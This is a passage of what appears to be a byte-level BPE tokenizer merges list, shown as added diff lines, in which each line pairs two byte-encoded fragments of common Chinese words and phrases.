+åºĦ åĽŃ +缮åīį å·²ç»ı +è¾¹ ä¸Ĭ +çģ« èĬ± +æĬ¥ è®°èĢħ +æģĭ æĥħ +ç´§ åĩij +æ°´ æµģ +è¿Ļæĺ¯ æĪij们 +æ³¥ åľŁ +æĽ¾ ä»» +æĸ¹ è¨Ģ +åij¨ åħŃ +åı· 楼 +ä¼ij åģĩ +误 ä¼ļ +åĽ½ åĢº +åīį å¤ķ +两 å¼ł +éĹ « +éŃĶ é¬¼ +æĬĬ æĮģ +èĬĤèĥ½ çݯä¿Ŀ +æ¸ħæ´ģ èĥ½æºIJ +èĤ¥ æĸĻ +é«ĺ é¢ij +å°± æľīäºĨ +交 ä¼ļ +没 éĴ± +éĽħ æĢĿ +è¦ģ åıĬæĹ¶ +åŁ¹åħ» åѦçĶŁ +欣 åĸľ +çĥŃæ°´ åύ +é¾Ļ æ¹ĸ +äºĮ 楼 +æĸ°æµª è´¢ç»ı +æĸ° åĬ¨èĥ½ +èµ£ å·ŀ +æĭ³ 头 +æµģ åIJij +ä¹Łæĺ¯ å¾Ī +åıij åĶ® +ä¸Ń åIJ«æľī +åIJĵ å¾Ĺ +å·¨ æĺŁ +æĹł æīĢè°ĵ +æ¯Ľ åŃĶ +åħ¬åħ± 交éĢļ +çĤİ çĥŃ +èµ· èįī +åĬłçĽŁ åķĨ +说 ä¸įåĩº +大åѦ æ¯ķä¸ļ +å·¥ä¸ļ åĽŃ +éłĺ åŁŁ +åºĨ åħ¸ +æµģ 产 +èģ² éŁ³ +ä¼¼ä¹İ æĺ¯ +è´§ æºIJ +æ·± åĪĩ +æ²»çĸĹ æĸ¹æ³ķ +èµĦæºIJ éħįç½® +ç¶² åıĭ +çĶ £ +äº ¥ +躲 åľ¨ +社 ç§ij +è»Ł é«Ķ +女 è£ħ +æŃ¡ è¿İ +综åIJĪ å®ŀåĬĽ +æł¼ å°ĩ +åħļåı² åŃ¦ä¹ł +æľĢ åŁºæľ¬ +æľĢåŁºæľ¬ çļĦ +çľĭ æľĽ +åıĹ è´¿ +ä¸įä»ħ èĥ½ +ä½ķ å¿ħ +ä¸Ģ个 å°ıæĹ¶ +ç¾ Į +æĭĽ æĶ¶ +çĤĴ èĤ¡ +æĿij å¹²éĥ¨ +缸 çα +æ½ľ èĥ½ +ä¹ į +æĹ¶ è¾° +欣 æħ° +éĵ¶ è¡Įä¸ļ +çĭŃ çªĦ +éĩįçĤ¹ é¢ĨåŁŁ +çݰå®ŀ çĶŁæ´» +éĮ¯ 誤 +æĸ° è§Ħ +滥 ç͍ +æĹ¶ ä¸į +æĹ¶ä¸į æĹ¶ +帳 èĻŁ +ç¨Ģ 缺 +åIJij 举 +ä¿Ŀåģ¥ åĵģ +çıŃ éķ¿ +äºĴ åĭķ +笼 罩 +æ½ Ľ +æļĸ å¿ĥ +è½° çĤ¸ +åºĨ 幸 +è²Į ä¼¼ +æĵ º +èĢIJ 磨 +ä¸ĵä¸ļ 人士 +ä¸Ģèά éĥ½æĺ¯ +æ¼³ å·ŀ +åħ¨ èĩªåĬ¨ +å½ķ ç͍ +大 è·Į +æľīæķĪ æĢ§ +èĩª åĭķ +ä¸ī个 æĸ¹éĿ¢ +港 åĮº +ä¿¡ 貸 +éĢļ è¯Ŀ +é«ĺ 涨 +æ³Ħ æ¼ı +éħį ä¸Ĭ +åħļ å·¥å§Ķ +被 认为 +被认为 æĺ¯ +ä¸įä¼ļ åĨį +è°ĥ åīĤ +åıĤ èĤ¡ +èĦ± åıij +å¿ł å®ŀ +åĨħ åĪĨæ³Į +ç¹ģ å¿Ļ +åıĮ åĪĽ +é©» æĿij +åĪĴ ç®Ĺ +éģİ ä¾Ĩ +åľ£ ç»ı +èıľ 鸣 +æĭ¼ å¤ļå¤ļ +ä¸ŃåĽ½ 汽车 +çĥŁ èįī +缴 æµģ +äºĨä¸Ģ åı£æ°Ķ +ä½İ æĪIJæľ¬ +æī¾ åĽŀ +èĩª åįij +總 æĺ¯ +æĸĩåĮĸ åĪĽæĦı +天 æ²³ +樱 æ¡ĥ +éªij åħµ +éĩĮéĿ¢ æľī +çİ ® +èĥ½ æī¾åΰ +éĢĥ è·ij +åĪĩ å°Ķ +åĪĩå°Ķ 西 +以ä¸ĭ æĺ¯ +å²³ éĺ³ +çļĦ æ¦Ĥçİĩ +æĬµ åζ +å¸Ī äºĭåĬ¡ +å¸ĪäºĭåĬ¡ æīĢ +åĩĨ æĹ¶ +屬 æĸ¼ +订 è´Ń +åįłæį® äºĨ +ä¸Ń éĢĶ +å° ĭ +é»ij 马 +åİ¿ åħ¬å®īå±Ģ +ä¸ĥ æľĪ +èī² ç´ł +å¿ĥèĦı çĹħ +æĹ¶ éĻIJ +æ¯į åħ¬åı¸ +å¹ķ åIJİ +ä¸Ĭ æ¦ľ +å̾åIJij äºİ +纸 ä¸Ĭ +æ¡ ĵ +éĽĨä½ĵ ç»ıæµİ +æĥħ å¢ĥ +è¦ģ åģļåΰ +ç©į 極 +åıª æĢķ +æ¹ĺ 西 +çļ± çº¹ +åħ¨ åľĭ +çĦ¡ è«ĸ +好 æĦŁ +åįķ ä»· +è¿Ľç¨ĭ ä¸Ń +æĺĨ ä»ij +åĪĽ 客 +åħħ æĸ¥ +åħĪ æĬĬ +该 æĢİä¹ĪåĬŀ +åĵģ å¾· +åħ¨éĿ¢ åıijå±ķ +è¨Ī åĬĥ +æĢ» å·¥ä¼ļ +ä½Ľå±± å¸Ĥ +æĬĹ è¡¡ +å¼Ģ åľº +éĴ± å¸ģ +åıĭ 们 +å«ī å¦Ĵ +ç´¢ èµĶ +è®Ĭ åĮĸ +æĮ¤ åİĭ +æĮij è¡ħ +çŃī ä¸Ģæī¹ +æĿ¨ 欢 +ä¸ĵå®¶ åѦèĢħ +èĥ½ è¾¾åΰ +èµ° è¿ij +è´«åĽ° åľ°åĮº +éĻIJ æľŁ +ä¸į 平衡 +åĽ½åĨħ å¸Ĥåľº +èµĽ åľº +éħį èµĦ +è¦ģ èĢĥèĻij +ä¸ĩ åı° +æľĪ æľ« +éĶ ¥ +åŃ « +æİ¥è§¦ åΰ +åĩº 产 +æķĻ åѸ +ä½ľ å¼Ĭ +çļĦ æľĢåIJİä¸Ģ +ä¿ĥ æĪIJ +åIJ¸ åıĸ +æ½ľ èīĩ +被 éªĹ +è¾ĵ äºĨ +çĭIJ çĭ¸ +åįĩ éĻį +è¿ĻäºĽ ä¸ľè¥¿ +æĬķèµĦ åŁºéĩij +çĶŁçī© åѦ +ç½ij绾 èIJ¥éĶĢ +åIJij è®°èĢħ +èįī åľ° +æĢ ¯ +æľįåĬ¡ èĥ½åĬĽ +éĥģ éĹ· +åįķ åĵģ +å¾Ĺ 罪 +æĺĵ äºİ +个å¤ļ å°ıæĹ¶ +éĩį ä»» +ä¸Ĭ å®ĺ +æľ¬ éĩij +çı¾ åł´ +溢 ä»· +æĺŁ è¾° +æ´»åĬ¨ çİ°åľº +丹 麦 +å¸Ŀ çİĭ +æŁ¥ æĺİ +åŃĺåľ¨ äºİ +é¦Ļ æ°´ +æĬ½ æ£Ģ +å®ŀéĻħä¸Ĭ æĺ¯ +æĸ° å¾ģç¨ĭ +è´¢åĬ¡ 管çIJĨ +æİ Ľ +åĨľ åİĨ +éĥ½ èĥ½å¤Ł +éĤ¯ éĥ¸ +羣 實 +ç» Ĭ +åĨµ ä¸Ķ +ç½® 身 +ç¥Ī 祷 +çĿģ å¼Ģ +æĮĩ çĤ¹ +å¼Ģ æľº +西 å®ģ +åĮĹ çº¦ +积 æ°´ +åĩº åĬ¨ +åıijå±ķ 模å¼ı +转 æĬĺ +èĢĥ çĤ¹ +æľī ç½ijåıĭ +è´«åĽ° æĿij +æĪij们 çŁ¥éģĵ +åĪĨ éĶĢ +å±± èĦī +æ¯Ķ æĭŁ +ä¼° ç®Ĺ +æĶ¹ 建 +壮 è§Ĥ +ç§ī æĮģ +æı ª +ç¦ Ģ +åĮĸåѦ åĵģ +ä¸ŃåĽ½ åζéĢł +ä¸Ģ æŀ¶ +æīį è¡Į +æĭĽ å¾ħ +åıĺ æį¢ +åīį 线 +幸 好 +è¿Ļæł· çļĦè¯Ŀ +å¿ĥ è¡Ģ管 +æĢ§ çĸ¾çĹħ +åħ¨ èĥ½ +åĪij 侦 +ä¿¡æģ¯ åıijå¸ĥ +æĺ¾ çĦ¶æĺ¯ +éĿĴ éĵľ +åIJĥ ä»Ģä¹Ī +ç͵ ä»· +æ³ķå¾ĭ è§Ħå®ļ +çħ ² +çĵ· åύ +èĤī ç±» +æıĴ åħ¥ +åĹ ľ +è¿Ł è¿Ł +ä¸ĢçĤ¹ éĥ½ä¸į +è¿ĺ åĮħæĭ¬ +èĪį ä¸įå¾Ĺ +æłĩå¿Ĺ æĢ§ +æľĪ 以æĿ¥ +ç³ĸ æŀľ +éĥ½ åºĶ该 +çݯå¢ĥ åį«çĶŁ +èĪª è¡Į +éĥij éĩį +ç½ij æĬķ +åįģ ä½³ +ç§ģ ä¸ĭ +æļ´ è·Į +åĬłå¿« åıijå±ķ +产åĵģ çłĶåıij +åĪĽéĢł åĩº +æĢ» è§īå¾Ĺ +åºķ çĽĺ +èķ Ĭ +åĩºå¸Ń ä¼ļè®® +主 æĿ¿ +æĹ¥æĻļ éĹ´ +å®ĺæĸ¹ å¾®åįļ +å¼ķç͍ æĹ¥æľŁ +åī¯ æķĻæİĪ +ç͵åŃIJ 产åĵģ +è¡° éĢĢ +çķĻ åŃĺ +çģ« åĬĽ +çĴ § +çļ Ĥ +åħ¼ åħ· +éĩį è¿Ķ +é¢Ĩ çķ¥ +åĪĩ éϤ +åĨįçĶŁ èĥ½æºIJ +å®ŀåľ¨ 太 +çIJĨ论 ä¸Ĭ +ä¸ī å±Ĥ +ä¸ĸçķĮ åIJĦåĽ½ +å®ľ æĺĮ +è̳ è¾¹ +宽 æķŀ +æ±ī æĹı +çϽ çϽ +è¿ĻéĩĮ éĿ¢ +çĶŁæ´» ä¹łæĥ¯ +èµŀ èµı +çĶ· 士 +ä¸Ń ä¿Ħ +车 祸 +åīĤ éĩı +éϤ åİ» +å·¦ è¾¹ +çŃij çī¢ +çīĽ å¸Ĥ +å®¶ åĬ¡ +åķ ĥ +ç½® æį¢ +ç´« å¤ĸ +ç´«å¤ĸ 线 +å¾Ģ åīį +åĬĽ åѦ +ç´§ è·Ł +缮çļĦ åľ¨äºİ +ç» ® +ç¥ Ĥ +宣 è¨Ģ +äºĮ æ°§åĮĸ +äºĮæ°§åĮĸ 碳 +æĹł ç¼ĺ +ç²¾ éĢļ +è¨ º +å¼ķåıij äºĨ +æľĢ åħĪ +æ´¾ é©» +ä¸į å¿į +æĪij çΏ +å¹´ ä¸ĭåįĬå¹´ +æ·ĭ å·´ +没 éĹ®é¢ĺ +åºĹ åĨħ +è·Ł æĪij说 +çĶŁäº§ çĶŁæ´» +è§Ĥ æľĽ +æ¸ į +被 æī§è¡Į +被æī§è¡Į 人 +èĪ ľ +æİ º +ä¸Ģ ç§Ĵ +èįī åĿª +åij¼ åĴĮ +åij¼åĴĮ 浩 +åij¼åĴĮ浩 çī¹ +人æ°ij éĵ¶è¡Į +çĦķ åıij +è¯ģåΏ 交æĺĵ +çķ Ķ +æľº èĥ½ +å¦ ¾ +æĻļ å¹´ +å·¥åķĨ èģĶ +åİŁ åŀĭ +è§Ĵ度 çľĭ +æĬ¥ 社 +è¯į æĿ¡ +躲 éģ¿ +éĩį åIJ¯ +å¤ķ éĺ³ +èĤ¡æĿĥ 转让 +åľ¨ ä¸Ģ +åľ¨ä¸Ģ æĹģ +社ä¼ļ åĮĸ +åıijå±ķ åİĨç¨ĭ +æĭĸ æ¬ł +使 èĢħ +ä¸İ åIJ¦ +æĸ° å±ĢéĿ¢ +ä»Ĭ天 æĪij们 +é½IJ èģļ +对 æĪij说 +éĢĴ 交 +æľª æĽ¾ +èİ Ĭ +éĸ ī +亲 æīĭ +è§Ĵ éĢIJ +æľī é»ŀ +ç¨İ çİĩ +ä½İ 声 +é»ĺ å¥ij +æĻ® æ³ķ +大 ä¸ĵ +第äºĮ 大 +ä½ı åĿĢ +æĶ¾ è¿Ľ +äºĮ æĪĺ +亲 身 +åĽº åĮĸ +ä¸ĭ 乡 +åħ³éĶ® æĬĢæľ¯ +åĽŀ æĥ³ +æĬ¥ åĪĬ +æ¶Ĥ æĬ¹ +èĹı çĿĢ +ç¥Ŀ æĦ¿ +åįĩ 温 +çĶļèĩ³ è¿ŀ +åħ¬åħĥ åīį +ç¾İ æĸ¹ +è¯ļ å®ŀ +æĹł åģ¿ +åīµ æ¥Ń +å°ıå¿ĥ 翼 +å°ıå¿ĥ翼 翼 +两 æīĭ +温馨 æıIJ示 +仿 羣 +æĥ ¶ +èĥ¡ åŃIJ +å·¥ä½ľ ç«Ļ +硬 çĽĺ +ç« ¿ +åĤ³ éĢģ +åħ¨ æł¡ +é²ľ æ´» +çĴĢ çĴ¨ +ç»ĵ å°¾ +æį¢ æĿ¥ +æĪ Ģ +ä½İ ä½į +ä¸ĩåħĥ 以ä¸Ĭ +åĬł åĪĨ +æİ¨ä»ĭ ä¼ļ +çIJĨ èµĶ +å¾· å°Ķ +æĬĹ è®® +æ´ ¼ +åĸ § +åŁİ éĻħ +å¾Ī æ£Ĵ +人 æŃ»äº¡ +ä¼ļå±ķ ä¸Ńå¿ĥ +äºĴèģĶ äºĴéĢļ +èĸĦ èĨľ +éĩį é»ŀ +ç¦ģ æ¯Ĵ +åĨ· ç¬ij +大家 åı¯ä»¥ +é¦ĸ 缸 +è¿ij è·Ŀ离 +æµ® çݰ +ç§ĺ è¯Ģ +èµ· é£ŀ +æIJ ¶ +羣 åģĩ +æģ ķ +å°ı åºĹ +æ°ij çľ¾ +åıijå¸ĥ åħ¬åijĬ +ä¾§ éĩį +å¾ĺ å¾Ĭ +æĢ Ķ +æª IJ +æķ° 缮 +åī¯ ç§ĺ书éķ¿ +两 åı¥ +éļIJ çŀĴ +åıĮ åıĮ +æīĭ æĦŁ +èij¡ 京 +éģĹ å¿ĺ +é¬ ¥ +è¿Ļ个 åľ°æĸ¹ +说 çļĦè¯Ŀ +å·¡ åĽŀ +è¿Ŀ 竳 +æī¾ å·¥ä½ľ +æĶ¯ çIJĥéĺŁ +裡 éĿ¢ +æĺ¾ç¤º åĩº +èĩ³ å°Ĭ +两 级 +åīį æ®µæĹ¶éĹ´ +çĺ¦ èº« +èĤ¢ ä½ĵ +æ¯į 親 +æīĭç»Ń è´¹ +汽车 è¡Įä¸ļ +æİ© çĽĸ +æİ§èĤ¡ éĽĨåĽ¢ +åı£ å¾Ħ +æĶ¿çŃĸ æİªæĸ½ +æµ· 绵 +åħ¨ éķĩ +äºĭ åħ³ +å¸Ń æī§è¡Į +å¸Ńæī§è¡Į å®ĺ +éĤ£ 次 +åı¯èĥ½ åĩºçݰ +ä¸Ńå¿ĥ åŁİå¸Ĥ +ç¿» 身 +ä¹Ł ç®Ĺ +ä¾µ çķ¥ +åĸĩ åıŃ +æ¯ı次 éĥ½ +è§ ħ +éĻ¢ éĻ¢éķ¿ +å§ĭ äºİ +èѦ åĬ¡ +èᝠæĿIJ +å±ł æĿĢ +æľ¬èº« å°± +éļıæĹ¶ éļı +éļıæĹ¶éļı åľ° +åĶ® åįĸ +æĹłäºº 驾驶 +é¢ ħ +åĵģ 質 +åĺ² ç¬ij +è·ij åİ» +åħĭ éĩĮæĸ¯ +çķ¸ å½¢ +ä¿® 饰 +磩 éĺµ +éŁ³ä¹IJ ä¼ļ +æŁ³ å·ŀ +é½ ¡ +ä¼ļ è°Ī +æŃ£ çīĪ +ä¹Ł åIJĮæł· +æļ§ æĺ§ +è¡ĮæĶ¿ éĥ¨éŨ +ä¹ĸ ä¹ĸ +èĤ¤ èī² +æĹ¶ ä»» +羣 åĪĩ +æľĪ ä¸ĭ +æľĪä¸ĭ æĹ¬ +举æĸ¹ è´¢å¯Į +è£ħä¿® åħ¬åı¸ +éĢĢ è¿ĺ +åĭĺ å¯Ł +åĵ¥ 伦 +åĵ¥ä¼¦ æ¯Ķäºļ +çĭ¬ ä¸Ģ +çĭ¬ä¸Ģ æĹł +çĭ¬ä¸ĢæĹł äºĮ +è°ĥ åij³ +åİĭ è¿« +åħ¨çIJĥ æľĢ大 +åī¯ æł¡éķ¿ +æĽ´ ä½İ +åĪĨéĴŁ åIJİ +åĽŀ ä¾Ĩ +åζ åīĤ +åijĬè¯ī 大家 +çĤ¹ éĴŁ +åįģä¸ī å±Ĭ +åij¨ åĽĽ +è¿Ļæł· ä¸Ģ +è¿Ļæł·ä¸Ģ æĿ¥ +èĭ Ł +æľĽ åİ» +æĪIJ è¯Ń +å½ĵ åį³ +ç¬ij 声 +ä¹ĭ åĬ¿ +åĪijäºĭ æ¡Īä»¶ +æĮĤ çĿĢ +ä½ķ ç§į +å°ı 游æĪı +åĽ½å®¶ æĪĺçķ¥ +åĨ· åĨ· +å®ľ 宾 +æIJº ç¨ĭ +è¶ĭ äºİ +åıį çľģ +常 说 +ä¸ĩ æĪ· +åĥµ å°¸ +åįĥä¸ĩ åĪ« +åıijçݰ éĹ®é¢ĺ +åı¯ çŁ¥ +éŨæĪ· ç½ijç«Ļ +åģ¥åº· 产ä¸ļ +åı³ è¾¹ +æµ· è¿IJ +è¿ij ä¹İ +åĮ» æ²» +æĢ» ç®Ĺ +ä¸Ģ åĪĨéĴŁ +æĭ § +ä¹Ł æľīä¸ĢäºĽ +ä¾Ľç͵ åħ¬åı¸ +å»ī ä»· +帮 ä»ĸ +æŃ¤æ¬¡ æ´»åĬ¨ +åıªèĥ½ 说 +èĬ ĭ +çīĩ 段 +åŃĺåľ¨ éĹ®é¢ĺ +ä½łä¼ļ åıijçݰ +è½® å»ĵ +ç½ij éĢļ +滨 æ±Ł +æİĪ ä¿¡ +é»İ æĺİ +ä¸į å±ŀäºİ +约 åįł +éķ¿æ²Ļ å¸Ĥ +èĥļ èĥİ +åħĥ ä»¶ +éĻĨ åĨĽ +è³¼ è²· +æĮĩ æľĽ +å®ŀä¹ł çĶŁ +çī¹çĤ¹ æĺ¯ +çıł æ±Ł +çľĭ ä¸įåĩº +ä¸įè§ģ äºĨ +ç¼ ī +éĺµ èIJ¥ +åĶIJ æľĿ +没 å¿ħè¦ģ +åĽ½åľŁ èµĦæºIJ +ç»ıæµİåѦ å®¶ +åIJĪèĤ¥ å¸Ĥ +çIJ¢ 磨 +ç¡® åĪĩ +åŁİå¸Ĥ åıijå±ķ +çŃ· åŃIJ +人æ°ij æľįåĬ¡ +满 åĪĨ +è¿· ä¿¡ +ä½ľèĢħ æľ¬äºº +æĸĩ竳 æĿ¥æºIJ +ç«Ļ ç«ĭ +æŀĦ æĪIJäºĨ +è¾Ľ åĭ¤ +è¶ħ 强 +éĶ ļ +åīįä¸ī åŃ£åº¦ +å°± è§īå¾Ĺ +å´ĩ é«ĺ +è¶Ĭ ä¾Ĩ +è¶Ĭä¾Ĩ è¶Ĭ +å¸Ĥåľº èIJ¥éĶĢ +综åIJĪ ç´łè´¨ +åŃ ļ +ä¾® è¾± +äºĮ åŃĹ +å·¥ä½ľ ä»»åĬ¡ +åı²ä¸Ĭ æľĢ +æľĢ ä¼ĺ +åIJ© åĴIJ +表 çϽ +èİ« åIJį +èİ«åIJį åħ¶ +èİ«åIJįåħ¶ å¦Ļ +å¹ £ +åIJĮå¿Ĺ 们 +建设 çĶ¨åľ° +åĦ Ģ +éħį åģ¶ +å¼ © +åͱ çīĩ +æīĭ èĦļ +åħ¼ ä»» +åģľ æĶ¾ +æŃ£ å®Ĺ +æĸ° åĨľæĿij +åĤ¬ çĶŁ +æīĢ åŃ¦æł¡ +念 ä½Ľ +åͤ éĨĴ +åħ± åĪĽ +æĭī ä¸ģ +èĥĮ çĿĢ +çĶŁæĢģ ä¿ĿæĬ¤ +åı£ 头 +æĸ¹åIJij çĽĺ +調 æķ´ +æĭĽèģĺ ä¿¡æģ¯ +åħ¶ä»ĸ åĽ½å®¶ +ç®Ģ æĺĵ +åĮ¿ åIJį +è¯Ħ æµĭ +æĺ¯ä¸Ģ 座 +çīµ æīĭ +è¶³ 迹 +çIJĨè§£ åĴĮ +æľĢ åıĹ +å¿ĥ è·³ +çζ 親 +éĿŀ常 åĸľæ¬¢ +èĭ¦ éļ¾ +æĬĢ å¸Ī +æ°ij æĦı +æĪĺ åĽ½ +æĽ¿ è¡¥ +æ´¥ è´´ +ä¸ŃåĽ½ ä¼łç»Ł +åIJĦ è¡Į +åIJĦè¡Į åIJĦ +åIJĦè¡ĮåIJĦ ä¸ļ +第äºĶ å±Ĭ +èį· èĬ± +æĦı èŃĺ +票 ä»· +åĪĨ æµģ +æĿİ çϽ +æ±Ł åĮĹ +æİĴ æĸ¥ +ä½ĵ éĩı +åĮħåIJ« äºĨ +åĪĺ æŁIJ +çݰ å¦Ĥä»Ĭ +å·¥èīº åĵģ +è¿Ļç§į æĸ¹æ³ķ +åĬŀåħ¬ 楼 +ç͵ å·¥ +çħ Ļ +åį¡ çīĩ +å¹´ å¹´åºķ +ä¸ĵ项 èµĦéĩij +åĮ» ç§ij +åĮ»ç§ij 大åѦ +åĽŀ头 çľĭ +ä¸į å±ij +èĩª 驾 +没 æĶ¶ +æīĵ çĮİ +èĦ¸ éĥ¨ +åıĥ èĢĥ +å°Ĩ 士 +è´«åĽ° 人åı£ +çIJĨæĥ³ 信念 +é£İ å°ļ +人æīį éĺŁä¼į +çij ¾ +æĿ¥ è¿ĻéĩĮ +æ´Ĺ 涤 +å¹´ èĸª +èĭį çϽ +ä¸ĩ äºĭ +课 æľ¬ +åºĵ éĩĮ +çī¹ æ´¾ +ç´¾ åijĺ +èµŀ ç¾İ +ç©¿ æĪ´ +製 ä½ľ +èµŀ æĪIJ +ä¸Ģ ä¾§ +å½ĵåľ° 人 +æĭ İ +纸 è´¨ +ä½Ļ 个 +éĶĤ çĶµæ±ł +æľº åŀĭ +éĻ¢ éϢ士 +åģļ å·¥ +å¼ł è´´ +ç¥Ľ æĸij +æ®ĸ æ°ij +å¥ij 约 +æ¹ĺ æ½Ń +æIJ ĸ +åŃĺ è´§ +交éĢļ 大åѦ +è¶ģ çĿĢ +æĸĩçī© ä¿ĿæĬ¤ +å¤ĩ æĪĺ +éĩĩ 纳 +åįĬ æľĪ +æľĢ åħ³éĶ® +æľĢåħ³éĶ® çļĦ +æİ¥ éĢģ +æĶ¶ åī² +åıį åĢĴ +çĥ Ľ +æ ½Ķ +ä¼Łå¤§ å¤įåħ´ +çļĦè¯Ŀ è¯Ń +容 å¿į +å®ļ éĩı +æķ Ĺ +åĵģçīĮ 形象 +æīŃ è½¬ +åĽ½å®¶ éĩįçĤ¹ +èĨĿ çĽĸ +ä¸Ģ 楼 +大 éϏ +éĤª æģ¶ +åĽŀ åij³ +çĮ ¿ +çĿ¡ åīį +æĹł è¾ľ +çĹħæ¯Ĵ æĦŁæŁĵ +æľºæ¢° åĮĸ +çĤ¹ 亮 +溶 è§£ +åĩłä¹İ æīĢæľī +è·ij éģĵ +ç͵è§Ĩ æľº +åı ¨ +æijĩ äºĨ +æijĩäºĨ æijĩ头 +èĩª è´Ł +综åIJĪ åĪ©ç͍ +èĩª å¦Ĥ +åİŁ ä¾Ĩ +ä¹Łä¸į æĥ³ +èĬĤ 课 +è¿ĩ åī© +çͲ çĬ¶ +çͲçĬ¶ èħº +æĸ° ä¸ĸ纪 +èĩªä¸» åĵģçīĮ +é«ĺ å±Ĥ次 +ä¸Ģ è§Ĵ +è¡Į äºĭ +ç¥ĸ åħĪ +å©ļ åIJİ +éĹ´ éļĻ +ç¼Ŀ éļĻ +è¿Ļ æĶ¯ +ä¸įæĸŃ åĪĽæĸ° +å¾® åŀĭ +æĽĻ åħī +享 ç͍ +ä¸ŃåĽ½ ç§»åĬ¨ +éĹŃ çݯ +æī§ æĦı +åıijå±ķ æł¼å±Ģ +æł¸å¿ĥ åĮº +éªļ æī° +åħļåĴĮ åĽ½å®¶ +ä¸ŃåĽ½ æĶ¿åºľ +帶 èijĹ +ä¸ĩåįĥ çĵ¦ +åħ© 人 +äºİæĺ¯ æĪij +åĽº ä½ĵ +çªģ å¦Ĥ +çªģå¦Ĥ åħ¶ +çªģå¦Ĥåħ¶ æĿ¥ +éĩĮç¨ĭ ç¢ij +çα ç¾İ +æŁ¥ éªĮ +åıĮ èµ¢ +éĹª åħī +楼 å®ĩ +æĻ ı +æľī è¶³å¤ŁçļĦ +æŁĶ æĢ§ +ä¿¡æģ¯ å®īåħ¨ +管 线 +å¹¶ ä¸įä¼ļ +åύ ä»¶ +ä½ł åºĶ该 +çĿĢ å®ŀ +æĺİ æ¸ħ +æĬĹ çĶŁç´ł +æīĵ æŃ» +å®Įåħ¨ ä¸įåIJĮ +èĬ± æ¤Ĵ +æĶ¾ 宽 +ä½İ 端 +åĽĽ èĤ¢ +åĮĹ京 èµĽè½¦ +éĽĨ å¸Ĥ +æľª å©ļ +大å¹ħ æıIJåįĩ +建çŃij 设计 +çĭ¬ æľīçļĦ +æİ¢ éĻ© +æ²³æµģ åŁŁ +æħķ 容 +被 çĽĹ +åĵº ä¹³ +èı ģ +æĥ¬ æĦı +è¶ĬæĿ¥è¶Ĭ 好 +广大 群ä¼Ĺ +å¾· èĤ² +å¸Ĥåľº ä»·æł¼ +奥 å·´ +奥巴 马 +èĬĤ缮 ä¸Ń +两 款 +ä¸ĩä½Ļ åħĥ +ç»´ å°Ķ +çĶŁçī© ç§ijæĬĢ +åIJ¬ èµ·æĿ¥ +çł ļ +æĭŁ å®ļ +æ²¹ çͰ +声 èªī +建çŃij ä¸ļ +éĻIJ è´Ń +çīĩ åŃIJ +çķľ ç¦½ +ç½ij é¦ĸ页 +ä¼Ĺ çѹ +æĴŀ åĩ» +åīį ä¸įä¹ħ +åīį ä¸ĸ +åĽĽä¸ª æĦıè¯Ĩ +æµĭ ç»ĺ +éĺ² ç©º +漫éķ¿ çļĦ +æ²IJ æµ´ +æ¯Ķè¾ĥ ç®Ģåįķ +æµĭ å®ļ +åĽŀ è°ĥ +让 人们 +èĴĭ ä»ĭ +èĴĭä»ĭ çŁ³ +ç»ĵ æĻ¶ +å¢ŀæ·» äºĨ +æĿ¡ è¯Ħ论 +åī¯ ä¼ļéķ¿ +ä½ı æīĢ +ç»Ļ åĩºäºĨ +è°ĥ éħį +æ² ĸ +æľī ç͍ +æľīç͍ çļĦ +ä¸ĢæĿ¡ é¾Ļ +éĩİ å¤ĸ +ç¼ĺ åĪĨ +æ°¸è¿ľ ä¸įä¼ļ +æŀľ æłij +大åıij å¿«ä¸ī +麻 éĨī +äºij éĽĨ +åİ» åĵªéĩĮ +åħ¥ å¸Ĥ +ä»» æĢ§ +建 æ¡£ +建档 ç«ĭ +建档ç«ĭ åį¡ +ä¸Ģ 棵 +社 åįĢ +缸 ä¼´ +åļ · +å¡« åħħ +ä¸Ģ æĹı +ç¾ ģ +åıĸ è¯ģ +èΰ éĺŁ +åİĤ åĮº +è¡· å¿ĥ +åıijå±ķ éĺ¶æ®µ +é«ĺ 强度 +åĹĵ åŃIJ +é¢Ĩ è¡Ķ +楼 主 +大 èĴľ +æŀķ 头 +ç²® æ²¹ +é»Ħ çĵľ +æĵ Ĵ +å°ı çĭĹ +æĶ¹éĿ© å§Ķ +åįģ åĪĨéĴŁ +é²ľ èī³ +åħ³ ç¾½ +çĭĢ æħĭ +å®ŀç͍ æĢ§ +å°ij è§ģ +é£ŀ æī¬ +çͰ éĩİ +æIJ Ĥ +è¿Ļ个 è¯į +åºĶæĢ¥ é¢Ħæ¡Ī +è§Ĵ度 æĿ¥çľĭ +æķ¬ çķı +æ³ķ å®Ŀ +åĸĦ æĦı +æīĵ æĸŃ +对 åĨ³ +çµķ å°į +åĢŁ æŃ¤ +å¼Ģ æºIJ +å°ı 說 +ç¥ º +å²ģ 以ä¸ĭ +éĢĢå½¹ åĨĽäºº +ä¸įä¹ħ åīį +åĩº åİĤ +讽 åĪº +æĿ¥çľĭçľĭ åIJ§ +éŃĶ åħ½ +çķĻ ä¸ĭæĿ¥ +å±ħ 室 +åłħ æĮģ +çľĭ äºĨä¸Ģ +çľĭäºĨä¸Ģ çľ¼ +éĽĨåĽ¢ æĹĹä¸ĭ +æĪĺ æĪĺç»ĦåIJĪ +è®¤çľŁ èIJ½å®ŀ +汽车 产ä¸ļ +çī©çIJĨ åѦ +æķ µ +éĴ Ŀ +åĽ¢ éķ¿ +ä¸įæĸŃ æī©å¤§ +èĤ© è´Ł +åıijå±ķ 缮æłĩ +è³ĩ éĩij +åīį ç½® +ä¸ŃåĽ½ åı¤ä»£ +æŃ» åĪij +åħħåĪĨ ä½ĵçݰ +åħ³ éŨ +ç¾İ æĦŁ +æīĵ åħ¥ +æĬijéĥģ çĹĩ +å°ij çĪ· +æłij æŀĿ +æ¶Īæģ¯ ç§° +æ´Ľ åħĭ +åį ¯ +è¿Ī åIJij +æİ¨ åĭķ +ä»İä¸ļ èĢħ +åİ» ä¹° +欢 å¿« +æĭ¥ æĮ¤ +马 æ¡¶ +æĬĬ æİ§ +æĶ¿ åħļ +å¼ł æī¬ +客 æłĪ +红 æĺŁ +éĢģ æĿ¥ +åħ¨åŁŁ æĹħ游 +èĩª ç§ģ +åįģäºĮ æĿ¡ +åı¹ æģ¯ +ä¸Ģ èīĺ +ä¿Ŀ è´¹ +æĸ½å·¥ çİ°åľº +æľī 幸 +ç»Ń èĪª +åı¯èĥ½ æľĥ +èĥĮ åıĽ +ä½£ éĩij +ä¸ī çŃīå¥ĸ +å¾Ī 满æĦı +游æĪı åľ¬ +群 éĩĮ +æŀĦ ä»¶ +åºı å¹ķ +太 æ¹ĸ +æľ¨ è´¨ +æĻĭ æ±Ł +çµĤ 